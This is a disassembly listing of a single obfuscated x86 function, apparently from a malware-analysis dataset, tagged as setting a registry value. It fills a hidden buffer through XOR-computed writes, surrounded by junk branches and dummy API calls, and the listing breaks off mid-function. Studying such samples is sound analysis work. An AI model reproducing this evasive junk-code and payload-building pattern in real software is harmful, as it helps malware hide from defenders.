Function at 0x4057d0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1f8
mov dword [ebp - 0x54], 0x26f
mov dword [ebp - 0xc], 0x124
mov dword [ebp - 0x38], 0x323
mov dword [ebp - 0x58], 0x178
mov dword [ebp - 0x3c], 0x33d
mov dword [ebp - 0x50], 0x290
mov dword [ebp - 4], 0xf2
mov dword [ebp - 0x48], 0x2cd
mov dword [ebp - 0x40], 0x3c7
mov dword [ebp - 0x4c], 0x33
mov dword [ebp - 0x28], 0x39a
mov dword [ebp - 0x60], 0x81
mov dword [ebp - 0x24], 0xa
mov dword [ebp - 0x2c], 0x3db
mov dword [ebp - 0x14], 0x1fc
mov dword [ebp - 0x18], 0x251
mov dword [ebp - 0x1c], 0x3af
mov dword [ebp - 0x44], 0xf
mov dword [ebp - 8], 0x266
mov dword [ebp - 0x34], 0x9b
mov dword [ebp - 0x10], 0x153
mov dword [ebp - 0x20], 0x273
mov dword [ebp - 0x5c], 0x232
mov dword [ebp - 0x30], 0xe3
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x18c], eax
mov ecx, dword [0x50cf94]
mov dword [ebp - 0x190], ecx
mov edx, dword [0x50cf94]
sub edx, 1
mov dword [0x50cf94], edx
mov eax, dword [ebp - 0x18c]
cmp eax, dword [ebp - 0x190]
jge 0x4058bf
mov dword [ebp - 0xb8], 1
jmp 0x4058c9
mov dword [ebp - 0xb8], 0
mov ecx, dword [0x50cf9c]
cmp ecx, dword [0x50cf98]
jge 0x4058e3
mov dword [ebp - 0xbc], 1
jmp 0x4058ed
mov dword [ebp - 0xbc], 0
mov edx, dword [ebp - 0x34]
or edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xb8]
and eax, dword [ebp - 0xbc]
or edx, eax
je 0x40590c
mov ecx, dword [ebp - 0x18]
sub ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [0x50cf84]
add edx, dword [0x50cfd4]
je 0x40593a
mov eax, dword [ebp - 0x48]
or eax, dword [ebp - 0x5c]
and eax, dword [ebp - 0x30]
and eax, dword [0x50cf9c]
je 0x40593a
mov ecx, dword [0x50b234]
add ecx, 1
mov dword [0x50b234], ecx
mov edx, dword [ebp - 0x10]
sub edx, 1
mov dword [ebp - 0x10], edx
call fcn.00420c30
mov eax, dword [ebp + 0x18]
and eax, 0x820e
xor eax, 0x4b4ac845
mov ecx, dword [ebp + 0x28]
or ecx, 0xb76a
sub ecx, 0x2a73
xor ecx, 0xccdf
mov dword [ecx + str.vGcFZXVmRrNeFWublamWmPmuxZYzzIMBtaPpEOSUJtnlMGHOEULwraATYLYupvVQWvzrMY], eax
mov edx, dword [ebp - 0x34]
add edx, 0x32c
push edx
mov eax, dword [ebp - 0x10]
sub eax, 0x100
push eax
mov ecx, dword [0x50cf8c]
add ecx, 0x19f
push ecx
call fcn.0042bb60
add esp, 0xc
mov edx, dword [0x50cf8c]
cmp edx, dword [0x50cfa0]
jge 0x4059b2
mov dword [ebp - 0xc0], 1
jmp 0x4059bc
mov dword [ebp - 0xc0], 0
mov eax, dword [0x50cf80]
mov dword [ebp - 0x194], eax
mov ecx, dword [0x50cf88]
mov dword [ebp - 0x198], ecx
mov edx, dword [0x50cf88]
sub edx, 1
mov dword [0x50cf88], edx
mov eax, dword [ebp - 0x194]
cmp eax, dword [ebp - 0x198]
jge 0x4059fc
mov dword [ebp - 0xc4], 1
jmp 0x405a06
mov dword [ebp - 0xc4], 0
mov ecx, dword [ebp - 0xc0]
and ecx, dword [ebp - 0xc4]
je 0x405aa8
mov edx, dword [ebp - 0x58]
cmp edx, dword [ebp - 0x1c]
jge 0x405a2c
mov dword [ebp - 0xc8], 1
jmp 0x405a36
mov dword [ebp - 0xc8], 0
mov eax, dword [ebp - 0x30]
xor eax, dword [ebp - 0xc8]
je 0x405aa8
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0x34]
mov dword [ebp - 0x19c], ecx
mov edx, dword [0x50cfa0]
mov dword [ebp - 0x1a0], edx
mov eax, dword [ebp - 8]
sub eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x19c]
cmp ecx, dword [ebp - 0x1a0]
jge 0x405a7c
mov dword [ebp - 0xcc], 1
jmp 0x405a86
mov dword [ebp - 0xcc], 0
mov edx, dword [ebp - 0x3c]
add edx, 1
mov dword [ebp - 0x3c], edx
mov eax, dword [0x50cf98]
add eax, dword [ebp - 0x3c]
or eax, dword [ebp - 0xcc]
je 0x405aa8
mov ecx, dword [ebp - 4]
sub ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x20]
cmp edx, dword [ebp - 0x3c]
jge 0x405abc
mov dword [ebp - 0xd0], 1
jmp 0x405ac6
mov dword [ebp - 0xd0], 0
mov eax, dword [0x50b234]
or eax, dword [ebp - 0x5c]
cmp eax, dword [ebp - 0x24]
jge 0x405adf
mov dword [ebp - 0xd4], 1
jmp 0x405ae9
mov dword [ebp - 0xd4], 0
mov ecx, dword [0x50cf90]
and ecx, dword [ebp - 0xd0]
and ecx, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x30]
add edx, dword [ebp - 0x14]
or ecx, edx
mov dword [ebp - 0x1a4], ecx
mov eax, dword [0x50cf90]
add eax, 1
mov dword [0x50cf90], eax
cmp dword [ebp - 0x1a4], 0
je 0x405b7f
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [ebp - 0x18]
jge 0x405b33
mov dword [ebp - 0xd8], 1
jmp 0x405b3d
mov dword [ebp - 0xd8], 0
mov edx, dword [0x50cf90]
cmp edx, dword [ebp - 0x50]
jge 0x405b54
mov dword [ebp - 0xdc], 1
jmp 0x405b5e
mov dword [ebp - 0xdc], 0
mov eax, dword [0x50cf8c]
add eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0xd8]
and ecx, dword [ebp - 0xdc]
or eax, ecx
je 0x405b7f
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov dword [ebp - 0x64], 0
jmp 0x405b91
mov eax, dword [ebp - 0x64]
add eax, 1
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x40]
sub ecx, 0x18a67
cmp dword [ebp - 0x64], ecx
jge 0x405ca8
mov edx, dword [ebp - 0x20]
sub edx, 1
mov dword [ebp - 0x20], edx
mov eax, dword [0x50cf98]
add eax, dword [ebp - 0x20]
je 0x405c77
mov ecx, dword [ebp - 0x58]
cmp ecx, dword [ebp - 8]
jge 0x405c77
mov edx, dword [ebp - 0x48]
or edx, dword [ebp - 0x10]
mov dword [ebp - 0x1a8], edx
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x1a8], 0
je 0x405c77
mov ecx, dword [ebp - 4]
or ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 0x20]
jge 0x405c77
mov edx, dword [ebp - 0x50]
cmp edx, dword [0x50cfa0]
jge 0x405c0e
mov dword [ebp - 0xe0], 1
jmp 0x405c18
mov dword [ebp - 0xe0], 0
mov eax, dword [ebp - 8]
cmp eax, dword [0x50cf88]
jge 0x405c2f
mov dword [ebp - 0xe4], 1
jmp 0x405c39
mov dword [ebp - 0xe4], 0
mov ecx, dword [ebp - 0x2c]
cmp ecx, dword [0x50cf8c]
jge 0x405c50
mov dword [ebp - 0xe8], 1
jmp 0x405c5a
mov dword [ebp - 0xe8], 0
mov edx, dword [ebp - 0xe0]
and edx, dword [ebp - 0xe4]
and edx, dword [ebp - 0xe8]
je 0x405c77
mov eax, dword [ebp - 0x50]
add eax, 1
mov dword [ebp - 0x50], eax
push 0x11752
push 0x15f72
push 0x1338a
push 0x151a8
push 0x7840
push 0x3de6
push 0xda66
call dword [sym.imp.USER32.dll_DestroyMenu]
add esp, 0x1c
jmp 0x405b88
mov dword [ebp - 0x68], 0
jmp 0x405cba
mov ecx, dword [ebp - 0x68]
add ecx, 1
mov dword [ebp - 0x68], ecx
mov edx, dword [0x50cf94]
sub edx, 0x4d
cmp dword [ebp - 0x68], edx
jge 0x405cde
mov eax, dword [ebp - 0x50]
or eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x60]
jge 0x405cdc
mov ecx, dword [ebp - 0x44]
sub ecx, 1
mov dword [ebp - 0x44], ecx
jmp 0x405cb1
mov edx, dword [ebp + 0x2c]
and edx, 0x14c5
xor edx, 0x1457
mov eax, dword [ebp + 0x2c]
add eax, 0x74f5
xor eax, 0xacf0
mov byte [eax + str.vGcFZXVmRrNeFWublamWmPmuxZYzzIMBtaPpEOSUJtnlMGHOEULwraATYLYupvVQWvzrMY], dl
mov ecx, dword [ebp - 0x40]
xor ecx, dword [ebp - 0x18]
mov dword [ebp - 0x1ac], ecx
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x1b0], edx
mov eax, dword [ebp - 0x18]
sub eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x40]
sub ecx, 1
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0x1ac]
cmp edx, dword [ebp - 0x1b0]
jge 0x405d41
mov dword [ebp - 0xec], 1
jmp 0x405d4b
mov dword [ebp - 0xec], 0
mov eax, dword [0x50b234]
cmp eax, dword [ebp - 0x24]
jge 0x405d61
mov dword [ebp - 0xf0], 1
jmp 0x405d6b
mov dword [ebp - 0xf0], 0
mov ecx, dword [ebp - 0xec]
or ecx, dword [ebp - 0xf0]
je 0x405e1d
mov edx, dword [ebp - 0x20]
add edx, dword [0x50cf94]
cmp edx, dword [ebp - 0x24]
jge 0x405e1d
mov eax, dword [ebp - 0x24]
add eax, 1
mov dword [ebp - 0x24], eax
mov ecx, dword [0x50cf98]
and ecx, dword [ebp - 0x24]
cmp ecx, dword [0x50cf94]
jge 0x405db5
mov dword [ebp - 0xf4], 1
jmp 0x405dbf
mov dword [ebp - 0xf4], 0
mov edx, dword [0x50b234]
xor edx, dword [ebp - 0x10]
mov dword [ebp - 0x1b4], edx
mov eax, dword [0x50cfd4]
mov dword [ebp - 0x1b8], eax
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x1b4]
cmp edx, dword [ebp - 0x1b8]
jge 0x405dfc
mov dword [ebp - 0xf8], 1
jmp 0x405e06
mov dword [ebp - 0xf8], 0
mov eax, dword [ebp - 0xf4]
or eax, dword [ebp - 0xf8]
je 0x405e1d
mov ecx, dword [ebp - 0x34]
sub ecx, 1
mov dword [ebp - 0x34], ecx
mov edx, 0x20ba
sub edx, dword [ebp + 0x14]
xor edx, 0xafb0201b
mov eax, dword [ebp + 0xc]
or eax, 0xad8a
and eax, 0xfbfe
add eax, 0xe036
xor eax, 0x1ca24
mov dword [eax + str.vGcFZXVmRrNeFWublamWmPmuxZYzzIMBtaPpEOSUJtnlMGHOEULwraATYLYupvVQWvzrMY], edx
mov ecx, dword [ebp - 0x30]
cmp ecx, dword [ebp - 4]
jge 0x405e5f
mov edx, dword [0x50cf94]
add edx, 1
mov dword [0x50cf94], edx
mov eax, dword [ebp + 0x14]
xor eax, 0x2827
and eax, 0xd9ea
and eax, 0x68ed
xor eax, 0x43585204
mov ecx, 0x7d96
sub ecx, dword [ebp + 0x28]
xor ecx, 0x858
mov dword [ecx + str.vGcFZXVmRrNeFWublamWmPmuxZYzzIMBtaPpEOSUJtnlMGHOEULwraATYLYupvVQWvzrMY], eax
mov edx, dword [ebp - 0x60]
sub edx, 1
mov dword [ebp - 0x60], edx
mov eax, dword [ebp + 0x10]
xor eax, 0xd12
or eax, 0xc83b
xor eax, 0xcd42
mov ecx, dword [ebp + 0x1c]
or ecx, 0x16745
sub ecx, 0xc1f8
xor ecx, 0x12de1
mov byte [ecx + str.vGcFZXVmRrNeFWublamWmPmuxZYzzIMBtaPpEOSUJtnlMGHOEULwraATYLYupvVQWvzrMY], al
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov dword [ebp - 0x6c], 0
jmp 0x405edb
mov eax, dword [ebp - 0x6c]
add eax, 1
mov dword [ebp - 0x6c], eax
mov ecx, dword [ebp - 0x18]
sub ecx, 0x24e
cmp dword [ebp - 0x6c], ecx
jge 0x405ef4
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
jmp 0x405ed2
mov eax, dword [ebp + 0x28]
add eax, 0xb88e
xor eax, 0x46457ef1
mov ecx, dword [ebp + 0x1c]
xor ecx, 0xa7df
xor ecx, 0x4b2b
mov dword [ecx + str.vGcFZXVmRrNeFWublamWmPmuxZYzzIMBtaPpEOSUJtnlMGHOEULwraATYLYupvVQWvzrMY], eax
mov dword [ebp - 0x70], 0
jmp 0x405f28
mov edx, dword [ebp - 0x70]
add edx, 1
mov dword [ebp - 0x70], edx
mov eax, dword [ebp - 0x24]
sub eax, 0xa
cmp dword [ebp - 0x70], eax
jge 0x405f92
mov ecx, dword [0x50cfa4]
mov dword [ebp - 0x1bc], ecx
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x1c0], edx
mov eax, dword [0x50cfa4]
sub eax, 1
mov dword [0x50cfa4], eax
mov ecx, dword [ebp - 0x1bc]
cmp ecx, dword [ebp - 0x1c0]
jge 0x405f6f
mov dword [ebp - 0xfc], 1
jmp 0x405f79
mov dword [ebp - 0xfc], 0
mov edx, dword [0x50cfa0]
or edx, dword [ebp - 0xfc]
je 0x405f90
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
jmp 0x405f1f
mov ecx, dword [ebp - 0x2c]
cmp ecx, dword [ebp - 0xc]
jge 0x405fa6
mov dword [ebp - 0x100], 1
jmp 0x405fb0
mov dword [ebp - 0x100], 0
mov edx, dword [ebp - 0x60]
cmp edx, dword [0x50cfa4]
jge 0x405fc7
mov dword [ebp - 0x104], 1
jmp 0x405fd1
mov dword [ebp - 0x104], 0
mov eax, dword [ebp - 0x100]
or eax, dword [ebp - 0x104]
je 0x406081
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp - 0x30]
jge 0x405ff7
mov dword [ebp - 0x108], 1
jmp 0x406001
mov dword [ebp - 0x108], 0
mov edx, dword [0x50cf90]
mov dword [ebp - 0x1c4], edx
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c8], eax
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0x1c4]
cmp edx, dword [ebp - 0x1c8]
jge 0x406039
mov dword [ebp - 0x10c], 1
jmp 0x406043
mov dword [ebp - 0x10c], 0
mov eax, dword [ebp - 0x108]
or eax, dword [ebp - 0x10c]
je 0x406081
mov ecx, dword [0x50b234]
or ecx, dword [ebp - 0x54]
mov dword [ebp - 0x1cc], ecx
mov edx, dword [0x50b234]
add edx, 1
mov dword [0x50b234], edx
cmp dword [ebp - 0x1cc], 0
je 0x406081
mov eax, dword [ebp - 4]
sub eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [0x50cfa0]
add ecx, 0x2c0
push ecx
mov edx, dword [ebp - 0x50]
sub edx, 0x274
push edx
mov eax, dword [ebp - 0x20]
sub eax, 0x4b
push eax
call fcn.0040ed60
add esp, 0xc
mov ecx, 0xc972
sub ecx, dword [ebp + 0x18]
sub ecx, 0x83c3
xor ecx, 0xa8ae30c3
mov edx, dword [ebp + 0x18]
xor edx, 0xf38f
add edx, 0x2a42
xor edx, 0x45d7
mov dword [edx + str.vGcFZXVmRrNeFWublamWmPmuxZYzzIMBtaPpEOSUJtnlMGHOEULwraATYLYupvVQWvzrMY], ecx
call fcn.00420c30
mov eax, dword [ebp - 0x20]
sub eax, 0x158
push eax
mov ecx, dword [ebp - 8]
sub ecx, 0x13e
push ecx
mov edx, dword [ebp - 0x38]
sub edx, 0x254
push edx
mov eax, dword [0x50cfa0]
add eax, 0xe8
push eax
mov ecx, dword [ebp - 0x4c]
add ecx, 0x249
push ecx
mov edx, dword [ebp - 0x34]
add edx, 0x9b
push edx
mov eax, dword [ebp - 0x24]
add eax, 0x40
push eax
call fcn.00426610
add esp, 0x1c
mov dword [ebp - 0x74], 0
jmp 0x406138
mov ecx, dword [ebp - 0x74]
add ecx, 1
mov dword [ebp - 0x74], ecx
mov edx, dword [ebp - 0x28]
sub edx, 0x18a3a
cmp dword [ebp - 0x74], edx
jge 0x4061db
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [0x50cfa4]
mov dword [ebp - 0x1d0], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x1d4], ecx
mov edx, dword [0x50cfa4]
sub edx, 1
mov dword [0x50cfa4], edx
mov eax, dword [ebp - 0x1d0]
cmp eax, dword [ebp - 0x1d4]
jge 0x40618d
mov dword [ebp - 0x110], 1
jmp 0x406197
mov dword [ebp - 0x110], 0
mov ecx, dword [0x50cf84]
cmp ecx, dword [0x50cf8c]
jge 0x4061b1
mov dword [ebp - 0x114], 1
jmp 0x4061bb
mov dword [ebp - 0x114], 0
mov edx, dword [ebp - 0x110]
and edx, dword [ebp - 0x114]
je 0x4061d6
mov eax, dword [0x50cfa0]
add eax, 1
mov dword [0x50cfa0], eax
jmp 0x40612f
mov ecx, dword [ebp + 0x1c]
xor ecx, 0x2f2c
add ecx, 0xd546
xor ecx, 0x6277fa3a
mov edx, dword [ebp + 0x28]
or edx, 0x4784
xor edx, 0x77b2
mov dword [edx + str.vGcFZXVmRrNeFWublamWmPmuxZYzzIMBtaPpEOSUJtnlMGHOEULwraATYLYupvVQWvzrMY], ecx
mov dword [ebp - 0x78], 0
jmp 0x406217
mov eax, dword [ebp - 0x78]
add eax, 1
mov dword [ebp - 0x78], eax
mov ecx, dword [0x50cf90]
sub ecx, 0x18907
cmp dword [ebp - 0x78], ecx
jge 0x40631f
mov edx, dword [ebp - 0x14]
cmp edx, dword [0x50cf94]
jge 0x406243
mov dword [ebp - 0x118], 1
jmp 0x40624d
mov dword [ebp - 0x118], 0
mov eax, dword [ebp - 0xc]
sub eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x2c]
xor ecx, dword [ebp - 4]
or ecx, dword [ebp - 0xc]
or ecx, dword [ebp - 0x118]
mov dword [ebp - 0x1d8], ecx
mov edx, dword [ebp - 0x2c]
add edx, 1
mov dword [ebp - 0x2c], edx
cmp dword [ebp - 0x1d8], 0
je 0x40631a
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x2c]
jge 0x406295
mov dword [ebp - 0x11c], 1
jmp 0x40629f
mov dword [ebp - 0x11c], 0
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [0x50cf8c]
imul edx, dword [ebp - 8]
cmp edx, dword [ebp - 0x48]
jge 0x4062c3
mov dword [ebp - 0x120], 1
jmp 0x4062cd
mov dword [ebp - 0x120], 0
mov eax, dword [ebp - 0x11c]
or eax, dword [ebp - 0x120]
je 0x40631a
push 0x7bd5
push 0x6d42
push 0x1223f
push 0x1104a
push 0x1105c
push 0x9774
push 0x47a1
push 0xc679
push 0xeadf
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 0x24
mov ecx, dword [ebp - 0x40]
add ecx, 1
mov dword [ebp - 0x40], ecx
jmp 0x40620e
mov edx, dword [ebp + 0x1c]
sub edx, 0x518f
xor edx, 0x9bee
mov eax, dword [ebp + 0x28]
add eax, 0xc472
xor eax, 0x139d5
mov byte [eax + str.vGcFZXVmRrNeFWublamWmPmuxZYzzIMBtaPpEOSUJtnlMGHOEULwraATYLYupvVQWvzrMY], dl
mov dword [ebp - 0x7c], 0
jmp 0x406353
mov ecx, dword [ebp - 0x7c]
add ecx, 1
mov dword [ebp - 0x7c], ecx
mov edx, dword [ebp - 8]
sub edx, 0x18907
cmp dword [ebp - 0x7c], edx
jge 0x40637a
push 0xecaa
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
add esp, 4
mov eax, dword [ebp - 0x1c]
sub eax, 1
mov dword [ebp - 0x1c], eax
jmp 0x40634a
mov ecx, dword [ebp + 0xc]
add ecx, 0x110fd
xor ecx, 0x7360252b
mov edx, dword [ebp + 0x18]
and edx, 0xc70b
xor edx, 0xc00a
mov dword [edx + str.vGcFZXVmRrNeFWublamWmPmuxZYzzIMBtaPpEOSUJtnlMGHOEULwraATYLYupvVQWvzrMY], ecx
mov eax, dword [0x50cf84]
sub eax, 1
mov dword [0x50cf84], eax
mov ecx, dword [ebp + 0x24]
and ecx, 0x5ac
xor ecx, 0x4d4e4272
mov edx, 0x1182c
sub edx, dword [ebp + 0x18]
xor edx, 0x301a
mov dword [edx + str.vGcFZXVmRrNeFWublamWmPmuxZYzzIMBtaPpEOSUJtnlMGHOEULwraATYLYupvVQWvzrMY], ecx
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0xc]
mov dword [ebp - 0x1dc], eax
mov ecx, dword [0x50cf94]
mov dword [ebp - 0x1e0], ecx
mov edx, dword [ebp - 4]
sub edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x1dc]
cmp eax, dword [ebp - 0x1e0]
jge 0x406409
mov dword [ebp - 0x124], 1
jmp 0x406413
mov dword [ebp - 0x124], 0
mov ecx, dword [0x50b234]
cmp ecx, dword [0x50cf88]
jge 0x40642d
mov dword [ebp - 0x128], 1
jmp 0x406437
mov dword [ebp - 0x128], 0
mov edx, dword [ebp - 0x38]
and edx, dword [0x50cfa0]
or edx, dword [ebp - 0x124]
mov eax, dword [ebp - 0x30]
and eax, dword [ebp - 0x128]
or edx, eax
je 0x40645c
mov ecx, dword [ebp - 0x24]
add ecx, 1
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x80], 0
jmp 0x40646e
mov edx, dword [ebp - 0x80]
add edx, 1
mov dword [ebp - 0x80], edx
mov eax, dword [ebp - 0x48]
sub eax, 0x1896d
cmp dword [ebp - 0x80], eax
jge 0x406565
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [0x50cf98]
jge 0x406496
mov dword [ebp - 0x12c], 1
jmp 0x4064a0
mov dword [ebp - 0x12c], 0
mov edx, dword [ebp - 0x54]
imul edx, dword [0x50cfa4]
cmp edx, dword [0x50cfd4]
jge 0x4064be
mov dword [ebp - 0x130], 1
jmp 0x4064c8
mov dword [ebp - 0x130], 0
mov eax, dword [ebp - 0x12c]
and eax, dword [ebp - 0x130]
je 0x406560
mov ecx, dword [0x50cf9c]
add ecx, 1
mov dword [0x50cf9c], ecx
mov edx, dword [0x50cf9c]
sub edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 0x18]
jge 0x406503
mov dword [ebp - 0x134], 1
jmp 0x40650d
mov dword [ebp - 0x134], 0
mov eax, dword [0x50cf90]
add eax, 1
mov dword [0x50cf90], eax
mov ecx, dword [0x50cf90]
imul ecx, dword [ebp - 0x5c]
and ecx, dword [ebp - 0x134]
mov edx, dword [ebp - 0x30]
imul edx, dword [ebp - 0x1c]
or ecx, edx
je 0x406560
push 0xc617
push 0xe047
push 0x98e1
push 0xd4a0
push 0x3aa1
call dword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
add esp, 0x14
mov eax, dword [ebp - 0x28]
sub eax, 1
mov dword [ebp - 0x28], eax
jmp 0x406465
mov ecx, dword [ebp - 0x5c]
imul ecx, dword [ebp - 0x28]
cmp ecx, dword [0x50cf90]
jge 0x406580
mov dword [ebp - 0x138], 1
jmp 0x40658a
mov dword [ebp - 0x138], 0
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
mov eax, dword [0x50cf9c]
add eax, dword [ebp - 0x18]
or eax, dword [ebp - 0x138]
je 0x4065ac
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
mov edx, 0xc972
sub edx, dword [ebp + 0x14]
add edx, 0xade2
xor edx, 0x6867d98c
mov eax, 0xf12a
sub eax, dword [ebp + 0x18]
add eax, 0xbfb3
xor eax, 0xc8d7
mov dword [eax + str.vGcFZXVmRrNeFWublamWmPmuxZYzzIMBtaPpEOSUJtnlMGHOEULwraATYLYupvVQWvzrMY], edx
mov dword [ebp - 0x84], 0
jmp 0x4065f3
mov ecx, dword [ebp - 0x84]
add ecx, 1
mov dword [ebp - 0x84], ecx
mov edx, dword [ebp - 0x58]
sub edx, 0x18818
cmp dword [ebp - 0x84], edx
jge 0x406627
mov eax, dword [ebp - 0x3c]
add eax, 1
mov dword [ebp - 0x3c], eax
push 0xdb03
push 0x14eb6
push 0x2b85
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
add esp, 0xc
jmp 0x4065e4
mov ecx, dword [ebp - 0x44]
add ecx, 1
mov dword [ebp - 0x44], ecx
mov edx, dword [ebp + 0x28]
or edx, 0x45ce
xor edx, 0x7540
mov eax, dword [ebp + 0x10]
or eax, 0x583f
xor eax, 0x583f
mov byte [eax + str.vGcFZXVmRrNeFWublamWmPmuxZYzzIMBtaPpEOSUJtnlMGHOEULwraATYLYupvVQWvzrMY], dl
mov ecx, dword [ebp - 0xc]
sub ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [0x50cfa4]
add edx, 1
mov dword [0x50cfa4], edx
mov dword [ebp - 0x88], 0
jmp 0x406685
mov eax, dword [ebp - 0x88]
add eax, 1
mov dword [ebp - 0x88], eax
mov ecx, dword [0x50cf88]
sub ecx, 0x398
cmp dword [ebp - 0x88], ecx
jge 0x4067be
mov edx, dword [0x50cf8c]
cmp edx, dword [ebp - 0x40]
jge 0x4066b4
mov dword [ebp - 0x13c], 1
jmp 0x4066be
mov dword [ebp - 0x13c], 0
mov eax, dword [ebp - 0x48]
or eax, dword [ebp - 0x4c]
cmp eax, dword [0x50cfd4]
jge 0x4066d8
mov dword [ebp - 0x140], 1
jmp 0x4066e2
mov dword [ebp - 0x140], 0
mov ecx, dword [ebp - 0x13c]
and ecx, dword [ebp - 0x140]
je 0x4067b9
mov edx, dword [ebp - 0x38]
cmp edx, dword [ebp - 0xc]
jge 0x406708
mov dword [ebp - 0x144], 1
jmp 0x406712
mov dword [ebp - 0x144], 0
mov eax, dword [ebp - 0x54]
xor eax, dword [ebp - 0x144]
je 0x4067b9
mov ecx, dword [0x50cf98]
and ecx, dword [ebp - 0x38]
cmp ecx, dword [0x50cf84]
jge 0x40673e
mov dword [ebp - 0x148], 1
jmp 0x406748
mov dword [ebp - 0x148], 0
mov edx, dword [0x50cf84]
add edx, 1
mov dword [0x50cf84], edx
mov eax, dword [0x50cf84]
cmp eax, dword [ebp - 0x58]
jge 0x40676d
mov dword [ebp - 0x14c], 1
jmp 0x406777
mov dword [ebp - 0x14c], 0
mov ecx, dword [0x50b234]
cmp ecx, dword [ebp - 0x44]
jge 0x40678e
mov dword [ebp - 0x150], 1
jmp 0x406798
mov dword [ebp - 0x150], 0
mov edx, dword [ebp - 0x148]
and edx, dword [ebp - 0x14c]
and edx, dword [ebp - 0x150]
je 0x4067b9
mov eax, dword [0x50cf90]
add eax, 1
mov dword [0x50cf90], eax
jmp 0x406676
mov ecx, dword [ebp + 0x28]
add ecx, 0x5e44
and ecx, 0x6849
xor ecx, 0x5c1d
xor ecx, 0x1c5d
mov edx, dword [ebp + 0x20]
or edx, 0x57be
sub edx, 0xe65d
xor edx, 0x115f
mov byte [edx + str.vGcFZXVmRrNeFWublamWmPmuxZYzzIMBtaPpEOSUJtnlMGHOEULwraATYLYupvVQWvzrMY], cl
mov eax, dword [ebp - 0x44]
add eax, 0x2b1
push eax
mov ecx, dword [ebp - 0x4c]
sub ecx, 3
push ecx
mov edx, dword [0x50cf94]
add edx, 0x1cb
push edx
mov eax, dword [ebp - 0x24]
add eax, 0x346
push eax
mov ecx, dword [0x50b234]
add ecx, 0x173
push ecx
mov edx, dword [ebp - 0x30]
sub edx, 0x14
push edx
call fcn.004181c0
add esp, 0x18
mov eax, 0xffffd88a
sub eax, dword [ebp + 0x18]
or eax, 0xa4fa
xor eax, 0xc7c9c2cf
mov ecx, dword [ebp + 0xc]
add ecx, 0x240
xor ecx, 0x46bf
mov dword [ecx + str.vGcFZXVmRrNeFWublamWmPmuxZYzzIMBtaPpEOSUJtnlMGHOEULwraATYLYupvVQWvzrMY], eax
mov edx, dword [ebp - 0x3c]
sub edx, 1
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp + 0x1c]
and eax, 0xb050
xor eax, 0xa019
mov ecx, dword [ebp + 0x10]
xor ecx, 0xbddf
xor ecx, 0x100f
xor ecx, 0xadc1
mov byte [ecx + str.vGcFZXVmRrNeFWublamWmPmuxZYzzIMBtaPpEOSUJtnlMGHOEULwraATYLYupvVQWvzrMY], al
mov edx, dword [0x50cf94]
imul edx, dword [ebp - 8]
test edx, edx
je 0x4068a5
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov dword [ebp - 0x8c], 0
jmp 0x4068c0
mov ecx, dword [ebp - 0x8c]
add ecx, 1
mov dword [ebp - 0x8c], ecx
mov edx, dword [ebp - 0x18]
sub edx, 0x24f
cmp dword [ebp - 0x8c], edx
jge 0x4069f4
mov eax, dword [ebp - 0x34]
cmp eax, dword [0x50cf88]
jge 0x4068ec
mov dword [ebp - 0x154], 1
jmp 0x4068f6
mov dword [ebp - 0x154], 0
mov ecx, dword [ebp - 0x48]
xor ecx, dword [ebp - 0x20]
or ecx, dword [ebp - 0x154]
je 0x4069ef
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
cmp eax, dword [0x50cf98]
jge 0x4069ef
mov ecx, dword [0x50b234]
cmp ecx, dword [ebp - 0x28]
jge 0x406937
mov dword [ebp - 0x158], 1
jmp 0x406941
mov dword [ebp - 0x158], 0
mov edx, dword [ebp - 0x40]
